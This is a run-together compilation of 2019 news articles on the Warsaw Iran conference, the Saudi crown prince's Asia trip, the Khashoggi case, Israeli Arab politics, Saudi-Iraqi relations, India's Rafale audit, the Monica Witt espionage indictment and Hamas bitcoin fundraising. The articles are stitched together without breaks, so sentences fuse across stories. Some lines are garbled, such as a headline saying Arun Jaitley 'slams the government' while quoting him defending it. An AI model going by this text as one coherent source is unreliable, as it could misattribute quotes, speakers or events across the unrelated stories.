British Foreign Secretary Jeremy Hunt came for one day to chair a quad meeting on Yemen, with his counterparts from the United States, Saudi Arabia and the United Arab Emirates, along with UN Yemen envoy Martin Griffiths. But Hunt was expected to depart before the proceedings Thursday. France and Germany, the other two European nations that helped negotiate the Iran nuclear deal that Trump withdrew from last year, sent their political directors.

Israels Netanyahu was the only head of state who came from abroad to the conference; US Vice President Mike Pence also attended. That made for an awkward family photo of the attendees in which the Polish president and foreign minister, Pence, US Secretary of State Mike Pompeo and Netanyahu were some of the only recognizable figures in the front row of some 50 nations representatives.

US envoy on Iran Brian Hook, in an interview with the BBC Persian service, said repeatedly that the United States does not have a relationship with the MEK, and said Giuliani does not represent the US government. But the fact that the presidents personal lawyer, as well as his national security adviser John Bolton, are or have been longtime lobbyists for the controversial group has made many other countries wary of the Trump administrations hard-line policies on Iran and where they are heading.

I dont think theres any hiding the fact that despite the label being changed, the US very much has an agenda here in terms of creating this alliance that is anti-Iran, Ellie Geranmayeh, deputy director of Middle East programs at the European Council on Foreign Relations, told Al-Monitor.

The messaging from European capitals has been so clear that they dont want to be associated with that kind of meeting, Geranmayeh said. Its a big snub that the German and the French foreign ministers havent gone. And the only reason Hunts going can be put down to Brexit next month and the country being in limbo.

On the agenda for Thursday, the US undersecretary of the Treasury for terrorism and financial intelligence, Sigal Mandelker, is expected to lead discussions at a special session on finance and terrorism.

To be honest, even today, speaking to some of the Europeans, they have no clue what is coming out of this tomorrow, Geranmayeh said. The impression they had is the agenda is still a mess.

I think the US has still been pushing for follow-up working groups to continue on some of these issues, she said. But one diplomat said it really depends on how the US handles the discussions in Warsaw. If they really go into full Iran-bashing mode, it is going to be so unhelpful.

The fact that Trumps personal lawyer is meeting with the MEK makes everyone in Europe very skeptical of the intent behind this meeting, Geranmayeh said.Saudi Crown Prince Mohammed bin Salman is traveling to five Asian countries later this month in his first foreign travels since the G-20 summit in Argentina. The Saudis desperately want to portray this as a business as usual trip, suggesting the fallout from the murder of Washington Post columnist Jamal Khashoggi in the Saudi Consulate in Istanbul is over. Details of the itinerary have been kept vague, probably for security reasons and fears of hostile demonstrations.

The crown prince, commonly referred to by his initials MBS, will first travel to Pakistan on Sunday. Pakistans Prime Minister Imran Khan was one of a handful of foreign leaders to visit Riyadh last October for an investment conference that was boycotted by most investors because of the premeditated murder of Khashoggi on Oct. 2. The crown prince is widely believed to have ordered the murder and dispatched a team of his henchmen to carry out the gruesome killing. The White House continues to try to shield him from investigation and sanctions, but the media and Congress are determined to hold him accountable.

For his attendance at the Riyadh conference and posing for pictures with the crown prince, Imran Khan was handsomely rewarded. He came home to Islamabad with over $6 billion in loans and deferred oil payments. The Saudis encouraged the United Arab Emirates to match their deal.

Despite the Saudi aid, the kingdom is not popular in Pakistan. Four years ago the Pakistani parliament voted unanimously to reject MBS' request for Pakistani troops to fight his war in Yemen. The Saudi war in Yemen is still deeply unpopular with Pakistanis. The crown prince is bringing his own vehicles and scores of bodyguards for security and the Pakistani army will be out in force to protect him.

The crown prince is bringing an entourage of over 1,100 people, including many Saudi business leaders. He is expected to sign multiple deals worth up to $15 billion in investments in Pakistan, including at its new Chinese-built port of Gwadar on the Indian Ocean.

After Pakistan he goes on to China, Malaysia, Indonesia and, finally, India. China and India are major consumers of Saudi oil. The Saudis are eager to attract foreign investors to the kingdom, especially as many in the West are leery of business with the Saudi prince after the Khashoggi murder and the continued revelations about his role in the killing.

As defense minister, MBS is responsible for the construction of a missile factory at a base for the intermediate ballistic missiles provided by Beijing back in the 1980s. The missile factory was only discovered last month. The Chinese and Pakistanis are both suspected of assisting in the construction of the factory. The two have a long history of cooperation in missile and nuclear weapons development. MBS visit to Islamabad and Beijing will doubtless rekindle suspicions of clandestine trilateral cooperation.

Indonesia sends more pilgrims to the hajj each year than any other country, but relations between Riyadh and Jakarta have long been frosty. Abuse of Indonesian domestic workers in the kingdom keeps the relationship strained. Past promises of large-scale Saudi investments have not materialized. The crown prince is eager to repair his image and reboot the relationship.

The visit to India comes in the midst of Prime Minister Narendra Modis campaign for re-election. The crown prince is likely to face some harsh media criticism over the Khashoggi murder from the usually contentious Indian press.

MBS was snubbed by the king of Morocco on his last trip and the president of Algeria did not receive him, citing poor health. The Saudis are eager for a better reception this time in South and East Asia.

Saudi King Salman made a similar trip to Asia in April 2017. King Abdullah made Asia the choice for his first foreign travel after ascending to the throne. The kingdom is increasingly tied economically to Asia. With the crown prince a pariah in the West, he needs a smooth trip in the East.ISTANBUL  The fiancee of slain Saudi journalist Jamal Khashoggi remains hopeful investigations into his murder will bring his killers to justice. But Hatice Cengiz will have to keep waiting after the US administration refused to issue its findings last week on his death at the Saudi Consulate in Istanbul.

Cengiz, a 37-year-old Turkish doctoral student, was one of the last people to see Khashoggi alive on Oct. 2, 2018, when he entered the consulate to obtain paperwork for their wedding. She recounts that fateful day in a new book, Jamal Khashoggi: Behind the Murder of the Century, which is based on her contemporaneous diary and interviews she gave two Turkish journalists.

Punishing those who carried out Jamals murder and prosecuting those who are responsible will relieve some of the heartache, Cengiz said at the memoirs launch last week. The main reason Ive sought to keep this issue on the publics agenda is because of the importance of giving his loved ones a grave for his body at which they can pray.

Khashoggis remains were never recovered, and Turkey has said it believes Saudi officials dismembered his body before disposing of it. Turkish leaks of the grisly details of the killing helped spark an international backlash against Saudi Arabia over the murder of the Washington Post columnist, an outspoken critic of Crown Prince Mohammed bin Salman.

Yet President Donald Trump has dragged his feet on implicating the crown prince, his familys close ally, and on Feb. 8 the White House failed to report its findings in a congressionally mandated investigation into whether he was behind the grisly killing. If found complicit, Prince Mohammad could face punitive action under the Magnitsky Act, US human rights legislation that imposes sanctions or visa bans on individuals who have committed human rights abuses.

Both Republican and Democratic senators accused the White House of violating the law and moral bankruptcy for failing to deliver its findings. Adam Schiff, the Democrat who runs a congressional intelligence committee, said the presidents refusal to issue the report on Khashoggi's death adds impetus to Congress efforts to scrutinize Trumps ties with the Saudi government.

On Tuesday, Secretary of State Mike Pompeo denied his administration was trying to whitewash Khashoggis death and said that it would hold those behind it to account. America is not covering up for a murder, he said during a visit to Hungary.

Evidence continues to mount that the crown prince wanted to silence Khashoggi, including US intelligence intercepts of a 2017 conversation with an aide in which the 33-year-old prince threatened to use a bullet on Khashoggi if he did not end his criticism of the Saudi leadership.

Khashoggi, 59, died in a brutal, premeditated killing, planned and perpetrated by officials of the state of Saudi Arabia, said Agnes Callamard, a UN human rights investigator after a Feb. 7 visit to Turkey, where authorities shared with her an audio recording of Khashoggis death. She also accused Saudi Arabia of undermining Turkeys investigation and will issue a final report in June.

We all know the UNs power to sanction. My hope is its report will accelerate the process and will have a lasting impact, Cengiz said.

The kingdoms Foreign Minister Adel al-Jubeir said on Sunday that Saudi Arabia does not need a UN inquiry and its own legal system is competent enough to handle the investigation. He also denied the crown prince was involved in the killing, which he described to CBS News as a mistake made by rogue Saudi officials. Riyadh has repeatedly changed its story about the circumstances surrounding Khashoggis death. It has indicted 11 suspects, but has largely kept the legal proceedings secret.

For its part, Turkey continues its own inquiry into what it believes was an elaborately planned and executed attack on Khashoggi. On Sunday, President Recep Tayyip Erdogan expressed incredulity over Trumps refusal to take meaningful action against Saudi Arabia.

At the news conference, Cengiz thanked Erdogan for his vigorous efforts to expose Saudi Arabias role in her partners death. She spoke before the White House missed the deadline, saying she would meet Trump, who had invited her to the White House, during a planned trip to the United States next month if he considers closely following this issue or exhibits a new approach.

Newly elected members of the US Congress, many of whom rode a wave of anti-Trump sentiment to election in November, offered her more cause for optimism with signs they may pressure Trump in the case, she said.

In a bizarre twist, Jeff Bezos, the worlds richest man, hinted last week that Saudi Arabia may have had a hand in a leak of his private messages in a tabloid sex scandal because of its outrage over the coverage of the killing by the Washington Post, which Bezos owns.

Some of the sensational coverage of Khashoggis killing appeared to distress Cengiz, who fought back tears as she spoke to reporters. What you count as news is for me a tragedy, she said. The book will show readers the Jamal Khashoggi I knew, the many sides of him that the public did not know.

The memoir, whose English edition is forthcoming, does not reveal new evidence in the investigation but is a personal account of the couples relationship. It describes the warmth Cengiz felt holding Khashoggis hand for the first time and the excitement of picking out furniture for their new home. Cengiz published their final exchange of text messages in the days before Khashoggi vanished in the Saudi Consulate. I love you more than ever, he wrote to his fiancee.Will Knesset member Ahmad Tibi, chairman of Taal, succeed in breaking the longstanding taboo of anyone but Arabs in the coalition? While it is still too early to tell, the possibility is already keeping Prime Minister Benjamin Netanyahu awake at night.

On the evening of the 2015 elections, Netanyahu had warned, Arab voters are heading to the polling stations in droves, managing to drum up more votes for himself. On Feb. 9, he posted a video on his Facebook page attacking Benny Gantz, head of Israel Resilience, and insinuating that Arab votes are illegitimate. The target of his intimidation campaign was Tibi: You vote for Gantz; you get Tibi, is the title of the clip, which claims, among other things, The Oslo Accords passed because of the Arabs votes.  Former Chief of Staff Gantz will do it again.

According to the latest polls, Taal is likely to win five to seven seats in the next Knesset. In the battle between the two major blocs over every single vote, seven seats could tip the scales in favor of the center-left.

Tibi recently decided to withdraw from the predominantly Arab Joint List after failing to convince his partners  the other three parties constituting the Joint List  to give his party greater representation. He has not ruled out building a new bloc with parties from the center-left, which could prevent the right from forming a coalition and allow Gantz to form the next government.

In a Jan. 27 interview with Army Radio, Tibi said, We previously had enough seats to block it [the right] in the 1990s. We were successful then, and we will have no problem re-creating that success. Tibi was referring to the 1992 elections, after which Yitzhak Rabin formed a narrow left-wing government of his Labor Party and Meretz, with outside support from Hadash and the Arab Democratic Party (headed by Abdulwahab Darawshe, formerly of Labor).

Since that time, there has been growing incitement against the Arab parties and the legitimacy of their voters, and not only by Netanyahu. Former Defense Minister Avigdor Liberman of Yisrael Beitenu is basing his current election campaign on the motto Liberman will not suck up  to Tibi or the ultra-Orthodox.

While Netanyahu and Liberman have been inciting against Tibi, however, he has been getting a boost from a surprising, if unforeseen, new direction: Jewish voters on the left. Over the last few weeks, they have come out in support of Tibis new party, and there are enough of them to earn him at least one more seat. The author Nir Baram was the first prominent Jew on the left to come out in support of Tibi.

Baram  who won the Prime Ministers Prize for Hebrew-language Writers in 2010 and the 2018 Ophir Prize for his documentary short film The Land Beyond the Hills  is the son of Uzi Baram, a former minister closely identified with the Labor Party. In a series of tweets and radio interviews, Nir Baram announced that he would vote for Tibi and eulogized the Zionist left, which died already, back in 2001. If there is no Jewish-Arab left in the future, there will be no left.

In a Feb. 4 interview with Army Radio, Baram explained that Hadash, the largest partner in the Joint List and which once had Jewish supporters, is an old-fashioned party. It has spoken about the war in Syria as if it were a case of American imperialism. As Baram put it, This is a party that no one [Jewish] will vote for this time, so the best alternative is Taal. Baram then went on to explain that Tibi knows how to speak to both Jewish and Arab society and that he could win a historic victory over the division between left and right.

Tibi could not have hoped for more. Speaking to Al-Monitor, he admitted that Baram began what has become a trend embraced by more and more Jewish voters searching for an alternative. He said contentedly, If more democratic Jews on the left vote for me  if there are thousands, at least one seat  I will have considerable influence, and that will make it possible to find partners to block the right. It takes two to tango.

Tibi does, in fact, have a good chance of winning votes from Jews on the left who once voted for Hadash, largely because of Knesset member Dov Khenin. Having served as a member of the Hadash Knesset delegation since the 17th Knesset, Khenin resigned from politics on Jan. 1, announcing that he would not seek reelection. As a parliamentarian, he left his mark on social and environmental issues and was seen as a fighter in the war against corruption. Many were drawn to his pleasant, soft-spoken manner and his image as a clean and humble politician whose character bordered on the ascetic.

Meanwhile, Ofer Cassif was elected to fill the seat reserved for a Jewish member of Hadash. Cassif is a radical left-wing activist with a doctorate in philosophy. He was also one of the first Israeli soldiers to refuse to serve in the territories. His provocative, militant style makes him the exact opposite of Khenin.

In a Feb. 7 interview with Haaretz, Cassif reiterated some of his past statements, which caused an uproar at the academic institutions where he had taught in Jerusalem and Tel Aviv and at Sapir College. In the most provocative of them, he referred to Justice Minister Ayelet Shaked as neo-Nazi scum, called Liberman a descendant of Adolf, and described Netanyahu as the murderer in chief. He also called the new military chief of staff, Aviv Kochavi, a war criminal.

Cassif thus will not only fail to attract Jewish voters, he may actually chase them away. After Tibi left the Joint List, and the Islamic Movement, another Joint List partner, announced that it would be running alone, only Balad was left to run with Hadash on the list.

Tibi is a talented politician. In the past, he served as an adviser to the Palestinian Authority, but under the current Knesset mandate, he has acted to change his public priorities and his partys political agenda. Over the past few years, he has made a point of operating as a parliamentarian promoting socioeconomic and consumer-oriented legislation on behalf of the weakest segments of Israeli society, Jewish and Arab alike. Within this framework, he now easily fills the political vacuum left by Khenins departure.

Tibi says that Khenins resignation was a loss to the entire Knesset. He also says that he doesnt want to appear as if he benefited from the vacuum left by Khenin by pocketing the votes of the Jewish left that shifted to him from the Labor Party and Hadash. He would rather win those votes on his own merit, because of his parliamentary record.

Even people who disagree with me know everything about me, he said. I have presented my activities in the most transparent way possible. My opinions and the laws that I initiated speak for themselves.

Commenting on Cassif's selection as the new Jewish representative on the Hadash list, Tibi said Cassifs worldview probably helps Tibi himself win more votes. It will be interesting to see how these two politicians react after April 9, given the harsh delegitimization campaign that Netanyahu and the right-wing parties have lying in wait right around the corner.Falih al-Fayadh, head of the Popular Mobilization Units and Iraq's national security adviser, visited Saudi Arabia Jan. 31 in a sign of the new and improved ties between the two countries.

As Fayadh is close to Iran and widely viewed as a pro-Iran candidate for interior minister in the government of Prime Minister Adel Abdul Mahdi, his visit aimed to reassure Riyadh that the PMU will target neither it nor its interests in Iraq.

A few days before Fayadhs visit to Saudi Arabia, Riyadh renewed its support for Baghdad, especially in terms of security, in a Jan. 24 phone call between Saudi Crown Prince Mohammed bin Salman and Abdul Mahdi.

In light of the tension prevailing over the region, the phone call emphasized Riyadhs desire to make up for the past and create a positive relationship with Iraq.

On the day of the call, Abdul Mahdi received the Saudi ambassador to Baghdad, Abdul Aziz al-Shammari, who conveyed an official invitation from Saudi King Salman bin Abdul-Aziz Al Saud for Abdul Mahdi to visit Riyadh.

The growing communication between the two neighboring Arab countries must be suspenseful for Iran, particularly since Tehran has had no Arab competitor in Iraq for the past 15 years.

Despite the recent developments, some believe that the improving relationship between Iraq and Saudi Arabia should not be perceived as Saudi moves against Iran.

Hamid al-Kifai, writer for London-based Al-Hayat, told Al-Monitor, The new Saudi approach toward Iraq is in the interest of Baghdad. We should not think that any Saudi approach to rapprochement with Iraq is directed against Iran. Iraq can cooperate with both Iran and Saudi Arabia, and it does not matter if there are differences between them. This is normal between all countries.

Kifai added, The Saudi-Iraqi rapprochement is of utmost importance to the two countries, which are bound by geography, economy, culture, politics and security. Both should agree on many issues including security, economic, political and cultural cooperation. This need for cooperation should not be ignored any longer; the two should have rebuilt stronger ties since 2003 or 2004.

It also appears that Saudi Arabia wants to build positive relations within Iraq to include a wider circle of government and state institutions by hosting leading figures in the parties, not only Sunnis but Shiite figures as well, including Sadrist Movement leader Muqtada al-Sadr and National Wisdom Movement leader Ammar al-Hakim, both of whom have visited Saudi Arabia.

The Saudi-Iraqi rapprochement is not limited to politics and security discussions. Saudi Arabia is also focusing on economic interests. It has concluded with Iraq 16 agreements through the coordination council between the two countries, including one to operate flights and a sea transportation line. The two also signed an agreement to invest one million hectares of Iraqi land in an agricultural investment project that will turn the land into farms.

Abdul Mahdi said that the Iraqi-Saudi relations are improving, saying during his phone call with bin Salman that he welcomes this rapprochement between the two brotherly peoples.

Rahman al-Jubouri, a former senior researcher at the Washington-based National Endowment for Democracy, told Al-Monitor, Saudi Arabia believes that Iraq is part of the national security system and the Arab security in general. Any bad relations can affect this system.

Jubouri added, Saudi Arabia also believes that the stronger Iraqs relationship with it gets, the weaker it will be with Iran, or at least that there will be balanced relations between the two sides, Iran and Saudi Arabia. This is how Saudi support for Iraq is linked to internal Iraqi variables.

Saudi Arabia is working intensively to achieve a relationship with Iraq that will help it to reduce Iran's influence or compete against it in the Iraqi political process and in the economy and security realms. The United States could play a part in supporting this rapprochement, which will ultimately benefit Baghdad, since Washington and Riyadh have a common interest in reducing Iran's role in Iraq.

By rebuilding strong ties with Iraq, Saudi Arabia aims to kill two birds with one stone, reducing Iranian influence in Iraq and winning over Iraq in the Gulf crisis. Riyadh sees Iraq as a needed partner in its feud with Doha as Qatar gradually gets closer to Tehran.

Saudi Arabia believes Iraq is an essential part of the Arab world and should not be left alone again for Iran to grow its influence, as it had been since April 2003 up until two years ago, when Saudi Arabia reopened its embassy in Baghdad

One can say that the relationship between Baghdad and Riyadh has measurably improved after years of estrangement, and a new phase has begun to achieve joint cooperation through economic and political projects after years of efforts to build mutual trust.CAG Report on Rafale deal: The CAG report on Rafale deal is being tabled in the Rajya Sabha today. The auditor report has endorsed several claims of the Narendra Modi government, including pricing and delivery of the 36 fighter jets. The report says that the government clinched the deal at prices 2.86 per cent lower than the one negotiated during the previous UPA government. It also says that the delivery schedule of the first 18 Rafale aircraft was "better" by around five months than the one proposed in the 126 aircraft Rafale deal. India managed to save 17.08 per cent of the cost for the India Specific Enhancements in the 36 Rafale deal, adds the report.

Follow BusinessToday.In live blog for all the latest updates on the CAG report on the Rafale deal.

4.45 pm: PM Modi: Hum sunte the ki bhookamp aayega, par koi bhookamp nahi aya. Kabhi hawai jahaaz uday gaye, lekin loktantra ki maryada itni unchi hai ki koi hawai jahaz uss unchchai tak nahi ja paya.

4.40 pm: This House passed the laws to fight the menace of black money and corruption. This House also passed the GST bill: PM Modi.

4.35 pm: We are proud of this 16th Lok Sabha, as it has the highest number of women members elected to the House. Forty-four first time women MPs were time elected to the Lok Sabha: PM Modi.

4.30pm: PM Narendra Modi in Lok Sabha: 3 dashak ke baad ek purn bahumat wali sarkaar bani aur azaadi ke baad pehli baar Congress gotra ki nahi hai aisi sarkaar bani hai. Congress gotra nahi aisi milijuli pehli sarkaar Atal ji ki thi aur aisi purn bahumat wali sarkaar 2014 mein bani.

4.15pm: PM Modi speaks in Parliament. "Several sessions in this Lok Sabha had good productivity. This is a very good sign," says Prime Minister Narendra Modi.

Speaking in the Lok Sabha. Watch. https://t.co/gZe2KPyjh3 - Narendra Modi (@narendramodi) February 13, 2019

2.52PM: Based on recommendations from the INT, the government approved the procurement of 36 Rafale aircraft from Dassault in August 2016.

2.50PM: The CAG report pointed out that an Indian Negotiation Team (INT) was formed with the consent of Defence Minister to achieve the following objectives:

To expedite the delivery of Rafale aircraft and weapons.

To bring down the cost of procurement.

To obtain offsets to support 'Make in India' campaign.

To obtain better terms and conditions in respect of warranty and product support.

2.17PM: Important points agreed during the Rafale deal with France.

The 36 Rafale jets would be acquired as quickly as possible.

An IGA would be signed for the supply of the aircraft on terms that would be better than conveyed by M/s Dassault Aviation as part of a separate process underway

The delivery would be in time frame that would be compatible with the operational requirement of IAF aircraft along with weapon and associated systems would be delivered in the same configuration as had been tested and approved by IAF and with a longer maintenance responsibility by France.

2.15PM: "The Staff Evaluation Report had recommended for waiving of noncompliance of Rafale aircraft to four ASQR parameters as they were not needed in the first place. Three of these parameters were not put up to the RM for waiver by the DG Acquisition stating that they should be negotiated with the L1 vendor during CNC. This was never taken up by CNC during negotiation as recommended by Ministry even though it had significant price implication. Most importantly Audit noted that carrying over technical issues to price negotiation was incorrect," says the report.

2.13PM: "Two aircraft viz., Eurofighter and Rafale were cleared based on their presentation in the lab as to how they proposed to meet the shortcomings in meeting certain ASQRs. Therefore the aircraft were technically accepted without evaluating the significant modification/ enhancements made on them," said the report.

2.10PM: "As per the TEC report, Rafale aircraft had failed to meet 14 ASQR parameters. SER stated that the non-compliance of the three parameters viz "W1", "W2" and "W3" mode of radar would not have any operational impact. In addition SER also recommended for waiver of one more parameters ("W4"). Further, Audit independently noted that two of the ISEs viz. "W5" and "W6" proposed by the vendor were apparently not needed in the first place as the detailed field evaluation trial report 64 had noted them to be satisfactory," says the CAG report.

2.07PM: "The Audit observations are divided into two parts. Part A highlights the issues related to the process for acquisition of 126 aircraft with Transfer of Technology. Part B delineates the issues related to acquisition of 36 Rafale flyaway Aircraft through an IGA after the negotiations for 126 aircraft had come to a standstill," says the report.

2.02PM: "India is a leading importer of arms and spends about `78,000 crore on an average annually on capital acquisition of defence system. The share of Indian Air Force (IAF) is about 40 per cent of the total defence capital acquisition budget. Further, IAF spends 65 per cent of its total budget on capital acquisitions," reveals the CAG report.

1.41PM: Senior Congress leader Mallikarjun Kharge on the CAG report: "The Centre is prejudiced who have already made a decision, so this report holds no value. Secondly, there is a conflict of interest. The man who was then a negotiator is now preparing the report," reported ANI.

1.07PM: The Rajya Sabha has been adjourned indefinitely. Earlier, Motion of Thanks was passed on the President's Address, Interim Budget 2019-20; no discussion was held in the House.

1.07PM:Components expensive during the NDA deal:

Performance-based logistics (6.54 per cent expensive)

Engineering support package (6.54 per cent)

Tools, Testers and Ground Equipment (TTGE) NDA deal (0.15 per cent)

1.00PM: If someone has to be given a tag of 'mahajhootha' or an award for it then he'll be the first contender.

Former MP CM Shivraj Singh Chouhan: Rahul Gandhi has constantly lied. If someone has to be given a tag of 'mahajhootha' or an award for it then he'll be the first contender. He has no shame. The way he had lied in Rafale matter, all his facts&documents are turning out to be false pic.twitter.com/EwQZqk6iTl - ANI (@ANI) February 13, 2019

12.57PM: Union Finance Minister Arun Jaitley says the lies of 'Mahajhootbandhan' stand exposed.

The lies of 'Mahajhootbandhan' stand exposed by the CAG Report. - Arun Jaitley (@arunjaitley) February 13, 2019

12.53PM: Components cheaper during the NDA deal:

Product and services, equipment related to operational support and technical assistance, documentation process, and programme management (cheaper by 4.77 per cent).

India specific enhancement (17.08 per cent cheaper)

Weapons package (1.05 per cent cheaper)

12.43PM: The Congress party leaders, including party chief Rahul Gandhi, UPA chairperson Sonia Gandhi and former PM Manmohan Singh, protest oustide Parliament against the Rafale deal.

Former PM Dr. Manmohan Singh, UPA Chairperson Smt. Sonia Gandhi, Congress President @RahulGandhi & senior leaders from the party hold a protest against the PM's lies on the #RafaleScam outside the Gandhi statue in Parliament. #ChowkidarChorHaipic.twitter.com/NQd4U1UEfs - Congress (@INCIndia) February 13, 2019

Former PM Dr. Manmohan Singh, UPA Chairperson Smt. Sonia Gandhi, Congress President @RahulGandhi & senior leaders from the party hold a protest against the PM's lies on the #RafaleScam outside the Gandhi statue in Parliament. #ChowkidarChorHaipic.twitter.com/NQd4U1UEfs - Congress (@INCIndia) February 13, 2019

Rafale story unfolds. At the end of Chapter 4, what do we have? A costlier aircraft and a longer delivery period! - P. Chidambaram (@PChidambaram_IN) February 13, 2019

Senior Congress leader P Chidambaram contradicts the BJP government claim; says the Chapter 4 of the CAG report clearly says "a costlier aircraft and a longer delivery period".Union Minister Nitin Gadkari says it is clear the BJP deal was better than the UPA deal. "The Congress should now refrain from attacking PM Modi".

12.34PM: Arun Jaitley slams the government, says can both the SC and CAG be wrong?

It cannot be that the Supreme Court is wrong, the CAG is wrong and only the dynast is right. - Arun Jaitley (@arunjaitley) February 13, 2019

12.33PM: The NDA deal was cheaper and better.

2016 vs. 2007 terms - Lower price, faster delivery, better maintenance, lower escalation. - Arun Jaitley (@arunjaitley) February 13, 2019

12.24PM: The audit notes the IAF did not define the ASQRs (Air Staff Qualitative Requirements) properly.

CAG Report: Audit noted that the IAF did not define the ASQRs (Air Staff Qualitative Requirements) properly. As a result, none of the vendors could fully meet the ASQRs. ASQRs were changed repeatedly during the procurement process. #RafaleDeal - ANI (@ANI) February 13, 2019

Satyameva Jayate" - the truth shall prevail. The CAG Report on Rafale reaffirms the dictum. - Arun Jaitley (@arunjaitley) February 13, 2019

"Satyameva Jayate - the truth shall prevail," Finance Minister Arun Jaitley tweets.Tehran's rage and discontent do not seem to have died down since US Secretary of State Mike Pompeo's announcement of its Warsaw conference last month. Iranian officials are busy trying to mitigate the perceived negative impacts of the event widely considered an American push to mobilize the world against the Islamic Republic.

"The summit is of the same nature as other steps which Tehran construes as US failures in the past 40 years," reported hard-line newspaper Javan Feb. 13, only hours before the conference kicked off in Warsaw. According to the paper, which echoes the views of the country's powerful Islamic Revolutionary Guard Corps, "Signs of that failure began to emerge weeks before the event, as Russians openly shunned it." The paper delighted in the fact that the United States had to amend the meeting's original stated purpose, broadening the agenda to peace and security in the Middle East rather than exclusively focusing on Iran.

On the diplomatic front, Iran has been trying to change the path of the conference first by summoning Poland's envoy to Tehran in protest. Iran's foreign minister has also used social media to shame Warsaw with an allusion to his country's hospitality for Polish refugees during the World War II. To mend the strained ties, Poland later dispatched its deputy foreign minister to soothe Tehran's anger ignited by the diplomatic row.

Last week, Iran's ambassador to Warsaw spoke of promises by Polish authorities that the conference would not be an anti-Iran platform. But on the day the event opened, the furious rhetoric continued. On its website, Iran's mission in Warsaw slammed US policy in the region as "unconstructive, biased, confused and self-contradictory." Criticizing efforts to exclude Iran, the statement defended the Islamic Republic as a "responsible" and "stabilizing" player in the Middle East. It also painted a gloomy picture for the conference's outcomes, predicting it will further escalate "distrust, chaos, crisis and conflict in the region."

Iran's military chief Maj. Gen. Mohammad Bagheri downplayed the gathering as a "worthless" step with no impact upon "Iran's activities and power."

Tehran believes its battle over the Warsaw summit has succeeded in keeping Washington from its goals, as the invitees have been convinced to dispatch lower-ranking participants. Moscow openly declined the offer, EU Foreign Policy chief Federica Mogherini said she was tied up with an African visit and UK Foreign Secretary Jeremy Hunt stressed that he would only focus on the ongoing humanitarian crisis in Yemen.

"The monthlong media hype by the United States has harmed Washington rather than served it," reported moderate news analysis outlet Rahbord-e-Moaser. The piece claimed that the US efforts in the Polish capital will be a repeat of a similar "failed" attempt at a UN Security Council meeting chaired by President Donald Trump last September.

During the past several weeks, social media platforms have been indurated with mixed reactions to the summit. Proponents of regime change in Iran have been writing extensively in a back-and-forth with pro-government Iranians. But one particular Twitter hashtag, #WeSupportPolandSummit, has been found to have been employed suspiciously often by suspected bots. A BBC Monitoring analysis found that 14,000 of those tweets were posted by only eight users.

With the US-Europe relationship far from its best, Iranian officials have been boasting about creating a gap between the two sides that has widened following the unilateral US pullout from the Joint Comprehensive Plan of Action. While Europeans are trying to prop up the fragile nuclear deal and keep it alive, Iran's supreme leader has repeatedly advised the country's diplomats against trusting them. But his latest remarks on the matter took a softer tone when he painted some European states as the lesser evil when compared to the United States.

"Apart from the criminal United States, today the Iranian nation considers some of the European states deceitful and untrustworthy," Ali Khamenei said in a statement called "The Second Step" released the day after the 40th anniversary of the country's revolution. In the missive, he kept the door open for Iranian authorities to hold talks with Europeans to work out solutions. But he was as uncompromising as ever regarding Iran's arch-foe. "As for the US, no solution is imaginable.  negotiations with [Americans] bear no fruit but material and moral harm," he warned.The Justice Department handed down a 27-page indictment today charging a former Air Force intelligence officer with passing classified information to the Islamic Revolutionary Guard Corps (IRGC). The indictment also charges four hackers allegedly linked with the Tehran-based military command.

Why it matters: Todays indictment shows increased Iranian interest in cyberespionage. Drawing upon classified information obtained from Monica Elfriede Witt, IRGC-affiliated hackers attempted to develop malicious software and fake social media profiles to target US-based spy agencies.

The efforts included software to capture keystrokes and break into web cameras, as well as malware-infused attachments passed off as pornographic photos designed to fool US officials into letting Iranian hackers tunnel into their computer networks. They also created fake e-mails and Facebook profiles to befriend unsuspecting US military intelligence officers.

Keep your friends close: Forty years to the week after the US and Iran formally cut off diplomatic relations amid the 1979 Islamic Revolution, todays indictment helps reveal how deep Tehrans distrust of Washington really goes. Witt said in communications obtained by investigators that she had difficulty getting over Iranian suspicions, despite embedding herself with members of the IRGC and appearing in anti-US propaganda videos.

"I just hope I have better luck with Russia at this point, Witt wrote to an unidentified co-conspirator in 2013, the year she defected. I am starting to get frustrated at the level of Iranian suspicion. Days earlier, the Air Force veteran had gone to the Iranian embassy in Kabul and told all.

Repeat offender: One of the suspected hackers, Behzad Mesri, was indicted in 2017 by a US district court for attempting to extort $6 million in bitcoin.

Whats next: Just as the Donald Trump administration has called out Irans proxy and missile proliferation in the Middle East, expect more naming and shaming of Iranian hackers.

While Witt, far outside the clutches of US law enforcement, is unlikely to get a US court date, the indictment follows a pattern of recent Justice Department targeting of Iranian cybercriminals that dates back to the Barack Obama administration. Last year, a federal grand jury handed down indictments charging two Iranians with launching a 34-month SamSam ransomware campaign that locked down computers in hospitals and public agencies and caused $30 million in losses, just months after US officials noticed a string of alleged Iranian cyber thefts in American and foreign universities.

Know more: Its not just the US that fears digital break-ins from Iran. Read Ben Caspits latest on Israeli concerns of Iranian cyber meddling in upcoming elections.

-Jack DetschGAZA CITY, Gaza Strip  Izz ad-Din al-Qassam Brigades, Hamas military wing, announced Jan. 31 that Hamas started receiving financial support for the first time in bitcoins from its supporters around the world. Bitcoin is a cryptocurrency and an international payment system comparable to international currencies.

The announcement is a new attempt by the Hamas movement to challenge the Israeli and Palestinian Authority (PA) policies aimed to dry up its resources. The Hamas-run Gaza Strip has been reeling under an Israeli blockade since 2007. Ever since, Israel has been controlling security at the only commercial crossing with Gaza, the Karam Abu Salem crossing, while Egypt imposes restrictions on the Rafah crossing for the passage of people in southern Gaza.

Donations can be received through different accounts of donors on online bitcoin platforms. A new account consists of a wallet for the currency balance. One can buy currencies through a medium, a bank account or credit card, or through a donation button in the wallet. The amount is then transferred to al-Qassam Brigades account, which is announced daily via the messaging service Telegram.

Two days before publishing the address of al-Qassam Brigades bitcoin wallet that is receiving donations, its military spokesman Abu Obeida urged Hamas supporters around the world, through a post on his Telegram channel, to increase their donations.

Abu Obeida accused Israel of cutting all Hamas sources, saying, The Zionist enemy is fighting the Palestinian resistance through an attempt to cut off aid to the resistance by all means. Lovers of the resistance all over the world, however, are combating these Zionist attempts and are looking for all possible means to aid the resistance.

Several Hamas officials refused to comment to Al-Monitor on the bitcoin donations request. But well-informed Hamas sources indicated that several Hamas-affiliated associations in the Gaza Strip are facing a tough financial crisis. Consequently, Hamas closed many of these associations in Gaza and reduced the salaries of its employees across all sectors.

Al-Monitor learned from the employees working in Hamas-affiliated associations in Gaza that they have not been paid for months.

In a Feb. 1 Telegram announcement, al-Qassam Brigades changed the bitcoin wallet address to enhance security and privacy.

